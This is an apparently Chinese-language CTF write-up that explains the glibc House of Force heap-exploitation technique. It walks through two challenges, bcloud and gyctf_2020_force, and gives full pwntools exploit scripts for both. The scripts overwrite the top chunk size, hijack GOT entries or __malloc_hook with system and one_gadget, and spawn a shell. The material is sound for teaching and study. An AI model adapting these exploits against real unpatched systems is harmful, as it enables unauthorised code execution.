House of Force

House of Force

0x00 原理介绍

当申请的chunk足够大,glibc在tcache和bins中都找不到匹配大小的时候,就会对top chunk进行分割,取出合适大小 、进行分配。House of Force作为一种堆利用方式,关键是利用溢出漏洞对top chunk的size进行改写,让size非常大,这样top chunk的范围包含了像.data和.bss这些数据段。这样我们在申请chunk分配之后就可以有任意写操作。

在匹配完空闲块找不到合适之后,malloc机制会拿申请的chunk的大小与top chunk比较。

// 获取当前的top chunk,并计算其对应的大小
victim = av->top;
size   = chunksize(victim);
// 如果在分割之后,其大小仍然满足 chunk 的最小大小,那么就可以直接进行分割。
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) 
{
    remainder_size = size - nb;
    remainder      = chunk_at_offset(victim, nb);
    av->top        = remainder;
    set_head(victim, nb | PREV_INUSE |
            (av != &main_arena ? NON_MAIN_ARENA : 0));
    set_head(remainder, remainder_size | PREV_INUSE);

    check_malloced_chunk(av, victim, nb);
    void *p = chunk2mem(victim);
    alloc_perturb(p, bytes);
    return p;
}

当把size改为非常大时,我们申请任意一个比其小的,就可以绕过这个验证。

一般会改size为-1,这样存储的形式是以补码0xffffffffffffffff的形式存在的,这就已经是非常大的了,不能再大了。如此验证很轻松就绕过。

remainder      = chunk_at_offset(victim, nb);
av->top        = remainder;

/* Treat space at ptr + offset as a chunk */
#define chunk_at_offset(p, s) ((mchunkptr)(((char *) (p)) + (s)))

随着chunk的申请指针会不断更新

所以,申请之后让top chunk的指针指向target-0x10处,那么再下一次分配我们将到达控制target的目的。

总之,house of force需要有两个条件

  • 利用漏洞使得 top chunk 的 size 域被改写
  • 可以申请 可控大小的chunk

0x01 bcloud

try

root@ubuntu20:~/hof# ./bcloud 
Input your name:
ln
Hey ln! Welcome to BCTF CLOUD NOTE MANAGE SYSTEM!
Now let's set synchronization options.
Org:
1
Host:
1.1.1.1
OKay! Enjoy:)
1.New note
2.Show note
3.Edit note
4.Delete note
5.Syn
6.Quit
option--->>

checksec

root@ubuntu20:~/hof# checksec bcloud
[*] '/root/hof/bcloud'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8047000)
    RUNPATH:  '/usr/local/glibc-all-in-one/libs/2.23-0ubuntu3_i386'

0x02 伪代码分析

拖进ida,注意是32位,程序大概的功能:

1.new:输入size,malloc大小为size+4的块,保存返回指针到ptr_array[i],保存size大小到size_array[i],输入内容,若创建成功,返回note的id,dword_804B0E0[idx]标志置零

2.show:show函数只是个幌子,没有用

3.edit:输入id,根据输入id从ptr_array[idx]取出对应的chunk指针,赋值给ptr,输入内容,通过ptr重新修改,dword_804B0E0[idx]标志置零

4.delete:输入id,根据id找到chunk的正文指针赋给ptr,清空存放的指针还有size,再free chunk

5.sync_note:输入id,把dword_804B0E0[idx]标志置为1

6.input_name : 初始化缓冲区,输入name,长度可以为64个字节,申请一个0x40的chunk返回指针赋值给ptr,拷贝刚刚输入的字符串到chunk里面,通过print ptr输出chunk的内容。

0x03 漏洞利用

int __cdecl iread(int a1, int a2, char a3)
{
  char buf; // [esp+1Bh] [ebp-Dh] BYREF
  int i; // [esp+1Ch] [ebp-Ch]

  for ( i = 0; i < a2; ++i )
  {
    if ( read(0, &buf, 1u) <= 0 )
      exit(-1);
    if ( buf == a3 )
      break;
    *(_BYTE *)(a1 + i) = buf;
  }
  *(_BYTE *)(i + a1) = 0;
  return i;
}

iread函数是一个自定义的读入字符的函数,但是这里边界没有严格检查,出现off-by-one漏洞,null byte overflow

0x04 泄露地址

在初始化input_name的时候,可以输入64个字符恰好把ptr的低字节覆盖成\x00,

  char s[64]; 
  char *ptr; 

ptr在后面申请的chunk返回指针又会把这个\x00给覆盖掉,

 ptr = (char *)malloc(0x40u);

造成原本的name没有00结束符截断,会把ptr这个指针一并拷贝给chunk,通过printf就可以泄露该地址,就是chunk的地址

code如下:

io.sendafter("Input your name:\n", 'a' * 0x40)
io.recvuntil('a' * 0x40)
chunk1_data_addr = u32(io.recvn(4))
log.info('chunk1_data_addr:0x%x' % chunk1_data_addr)

image-20220312165505543

image-20220312165625355

0x05 覆盖修改top chunk头

input_org_host函数几个局部变量在栈中的情况大概如下:

构造0x40*'X'0xffffffff+(0x40-4)*'Y'分别对应输入

再经过拷贝

  strcpy(ptr2, t);
  strcpy(ptr1, s);

code如下:

io.sendafter("Org:\n", 'X' * 0x40)
io.sendafter("Host:\n", p32(0xffffffff) + (0x40 - 4) * b'Y')
io.recvuntil("OKay! Enjoy:)\n")

就会出现如下的内存分布情况:

image-20220312172513484

image-20220309214931597

此时,top chunk的size已经被改为0xffffffff

0x06 准确偏移到target

从之前溢出的chunk1的地址,加上偏移即可算出top chunk的地址

top_chunk_addr = chunk1_data_addr + 0xd0 (0x48-0x8+0x48+0x48)

选定存储note指针的地方作为我们target

.bss: 0804B120 ptr_array

算出偏移,也就是即将申请的chunk大小,

evil_data_size = ptr_array - top_chunk_addr - 8 - 8

这样在new出来evil之后,top chunk的头部刚好落在ptr_array-0x8的位置,这样再申请下一个chunk的正文部分必然落到ptr_array上

new_note(evil_data_size - 4, "") #-4呼应了伪代码的+4

0x07 泄露libc基地址,覆盖got表项

注意:不可根据前面泄露的chunk的地址来算libc的基地址,因为heap和libc的偏移不是固定的。

这道题的RELROPIE保护都没有开,所以可以改got表项

把free@got指向puts@plt,再用puts函数输出printf@got的值也就是printf的地址,这样就可以算libc的基地址

new_note(0x40, 'AA')            #1
new_note(0x40, 'BB')            #2
new_note(0x40, 'CC')            #3
new_note(0x40, 'DD')            #4
new_note(0x40, '/bin/sh')       #5

edit_note(1, p32(0) + p32(ptr_array) + p32(free_got) + p32(printf_got))
edit_note(2,  p32(puts_plt))
del_note(3)
printf_addr = u32(io.recv(4))
log.info('printf_addr: 0x%x',printf_addr)

libc_base = printf_addr - libc.sym["printf"]
log.info('libc_base addr:0x%x',libc_base)

system_addr = libc_base+ libc.symbols["system"]
log.info('system_addr:0x%x' % system_addr)

0x08 写入system

按照泄露的思路,把free改成system

有如下code:

edit_note(2,p32(system_addr))
del_note(5)

io.interactive()

tips:不要动evil chunk

之前一开始想着,把id为0的改成free@got地址,再edit成system地址就好了

edit_note(1, p32(free_got))
edit_note(0, p32(system_addr))

但是出错了

原因是id为0时的chunk,正是我们申请的evil chunk,他的size很大(0xfffff034),这就导致了edit的时iread(ptr, size, 10)出错。

所以要避开使用id=0的这个evil chunk

0x08完整exploit

# -*- coding: utf-8 -*- 
from pwn import *

context.terminal = ['gnome-terminal','-x','sh','-c']
context.update(arch='i386', os='linux')
io = process('./bcloud')
libc = ELF("./libc-2.23.so")

def new_note(size, content):
    io.sendlineafter('option--->>\n', '1')
    io.sendlineafter("Input the length of the note content:\n", str(size))
    io.sendlineafter("Input the content:\n", content)
    io.recvline()

def edit_note(idx, content):
    io.sendlineafter('option--->>\n', '3')
    io.sendlineafter("Input the id:\n", str(idx))
    io.sendlineafter("Input the new content:\n", content)
    io.recvline()


def del_note(idx):
    io.sendlineafter('option--->>\n', '4')
    io.sendlineafter("Input the id:\n", str(idx))

ptr_array = 0x804b120
free_got = 0x804b014
puts_plt = 0x8048520
printf_got = 0x804b010

io.sendafter("Input your name:\n", 'a' * 0x40)
io.recvuntil('a' * 0x40)
chunk1_data_addr = u32(io.recvn(4))
log.info('chunk1_data_addr:0x%x' % chunk1_data_addr)

io.sendafter("Org:\n", 'X' * 0x40)
io.sendafter("Host:\n", p32(0xffffffff) + (0x40 - 4) * b'Y')
io.recvuntil("OKay! Enjoy:)\n")

top_chunk_addr = chunk1_data_addr + 0xd0
log.info('top_chunk_addr:'+str(hex(top_chunk_addr)))
evil_data_size = ptr_array - top_chunk_addr - 8 - 8
log.info('evil_data_size:'+ str(hex(evil_data_size)))
new_note(evil_data_size - 4, "") #0

new_note(0x40, 'AA')            #1
new_note(0x40, 'BB')            #2
new_note(0x40, 'CC')            #3
new_note(0x40, 'DD')            #4
new_note(0x40, '/bin/sh')       #5


edit_note(1, p32(0) + p32(ptr_array) + p32(free_got) + p32(printf_got))
edit_note(2,  p32(puts_plt))
del_note(3)

printf_addr = u32(io.recv(4))
log.info('printf_addr: 0x%x',printf_addr)

libc_base = printf_addr - libc.sym["printf"]
log.info('libc_base addr:0x%x',libc_base)

system_addr = libc_base+ libc.symbols["system"]
log.info('system_addr:0x%x' % system_addr)
pause()

edit_note(2,p32(system_addr))
del_note(5)

io.interactive()

总结:

有个之前忽略的地方,现在明白了,就是heap基地址和libc基地址的偏移不会是固定的,而vmmap和libc的基地址才是固定的。总体来说不是很难。

0x01 gyctf_2020_force

try

root@ubuntu20:~/hof# ./gyctf_2020_force 
1:add
2:puts
1
size
32
bin addr 0x55555575c010
content
aa
done
1:add
2:puts
2

1:add
2:puts

checksec一下,保护全开

root@ubuntu20:~/hof# checksec gyctf_2020_force
[*] '/root/hof/gyctf_2020_force'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  '/usr/local/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/'	

0x02 伪代码分析

​ 拉进ida64,程序的大概功能是:

1.输入命令

2.add函数:输入任意大小的size,根据size大小申请chunk并将返回的地址逐个存入ptr_array数组中,然后把该指针地址输出,再输入最大0x50大小的内容

3.puts:puts函数puts同一个毫不相干的地址单元,没有用处

0x03 漏洞利用

  • add函数中
  puts("size");
  read(0, nptr, 0xFuLL);
  size = atol(nptr);
  *ptr_array = malloc(size);
  if ( !*ptr_array )
    exit(0);
  printf("bin addr %p\n", *ptr_array);
  puts("content");
  read(0, (void *)*ptr_array, 0x50uLL);

由于size可控,便可申请小于0x50的chunk,读入超过size的内容,造成溢出

可覆盖top chunk头部,造成house of force

0x04 泄露地址

申请一个足够大的size,让mmap来分配内存,返回的地址会被printf输出,由于mmap和libc的基地址偏移是固定不变的,所以可以根据偏移可以算出libc的基地址

code如下:

libc_base = new(200000,'aa')-0x5b4010
log.info('libc base addr: 0x%x',libc_base)

0x05 覆盖修改top chunk头

根据前面的漏洞,我们可以申请一个0x20大小的chunk,然后输入超过0x20大小的内容,修改topchunk的头部

chunk_0 = new(0x20,'a'*0x20+p64(0)+p64(0xFFFFFFFFFFFFFFFF)) #top_chunk size
top_chunk = chunk_0 + 0x20
log.info('top_chunk addr: 0x%x',top_chunk)

image-20220312220704887

0x06 准确偏移到target

由于程序保护全开,我们需要进行hook劫持

毫无疑问,malloc_hook将会是我们的target。

那就要让top chunk的头部跑到malloc_hook的前面0x10处这样才会让申请的下一个chunk的返回指针指向malloc_hook,然后我们往malloc_hook填入one_gadget,以此到达getshell目的。

malloc_hook = libc_base + libc.sym['__malloc_hook']
realloc = libc.sym['__libc_realloc'] + libc_base
log.info('malloc_hook and libc_realloc addr: 0x%x,0x%x',malloc_hook,realloc)

size = malloc_hook - top_chunk - 0x10 		#offset

0x07 realloc_hook微调栈帧 rsp

但是经过尝试,4个one_gadget没有一个能直接getshell;原因就是条件没有符合

root@ubuntu20:~/hof# one_gadget /usr/local/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so 
0x45206 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4525a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xef9f4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf0897 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

要知道每一个libc的one_gadget能够成功执行,都需要前提条件满足就是上面的constrains。

这就涉及到利用realloc_hook微调rsp 来使得条件满足。

大致的执行流程如下:

malloc_hook  -->  realloc_hook+0x10 --> realloc_hook --> onegadget  

code如下:

new(size-0x20,b'a')
one_gadget = [0x45206,0x4525a,0xef9f4,0xf0897]
log.info('one_gadget addr: 0x%x',one_gadget[1]+libc_base)
new(0x10, 'a' * 0x8 + p64(one_gadget[1]+libc_base) + p64(realloc + 0x10))

pause()
p.sendlineafter('2:puts\n', '1')
p.sendlineafter('size\n', str(0x30))#执行malloc_hook -> realloc_hook+0x10->realloc_hook-> onegadget
p.interactive()

覆盖malloc和realloc之前,内存情况如下:

image-20220313203325240

覆盖之后,执行情况如下:

image-20220313204742618

0x08 完整的exploit

from pwn import *

p = process('./gyctf_2020_force')
elf = ELF('./gyctf_2020_force')
libc = elf.libc

def new(size, content):
    p.sendlineafter('2:puts\n', '1')
    p.sendlineafter('size\n', str(size))
    p.recvuntil('addr ')
    addr = int(p.recv(14), 16)
    p.sendlineafter('content\n', content)
    return addr

libc_base = new(200000,'aa')-0x5b8000-0x10
log.info('libc base addr: 0x%x',libc_base)

chunk_0 = new(0x20,'a'*0x20+p64(0)+p64(0xFFFFFFFFFFFFFFFF)) #top_chunk size
top_chunk = chunk_0 + 0x20
log.info('top_chunk addr: 0x%x',top_chunk)
pause()

malloc_hook = libc_base + libc.sym['__malloc_hook']
realloc = libc.sym['__libc_realloc'] + libc_base
log.info('malloc_hook and libc_realloc addr: 0x%x,0x%x',malloc_hook,realloc)

size = malloc_hook - top_chunk - 0x10
new(size-0x20,b'a')
pause()
one_gadget = [0x45206,0x4525a,0xef9f4,0xf0897]
log.info('one_gadget addr: 0x%x',one_gadget[1]+libc_base)
#new(0x30,p64(one_gadget[2]+libc_base)+p64(0))
new(0x10, 'a' * 0x8 + p64(one_gadget[1]+libc_base) + p64(realloc + 0x10))

pause()
p.sendlineafter('2:puts\n', '1')
p.sendlineafter('size\n', str(0x30))
p.interactive()

总结

这道题有两个关键,house of force自然不用说,一是mmap泄露地址,跟之前做过的Asis CTF 2016 b00ks泄露地址的姿势是一样的;二是在one_gadget条件不满足的情况下,用realloc来微调rsp,使条件满足。

house of force的精髓

一是溢出修改top chunk头

二是计算好target与超大top chunk的offset

三是分配,控制target

posted @ 2022-03-13 21:08  DAMOXILAI  阅读(84)  评论(0编辑  收藏  举报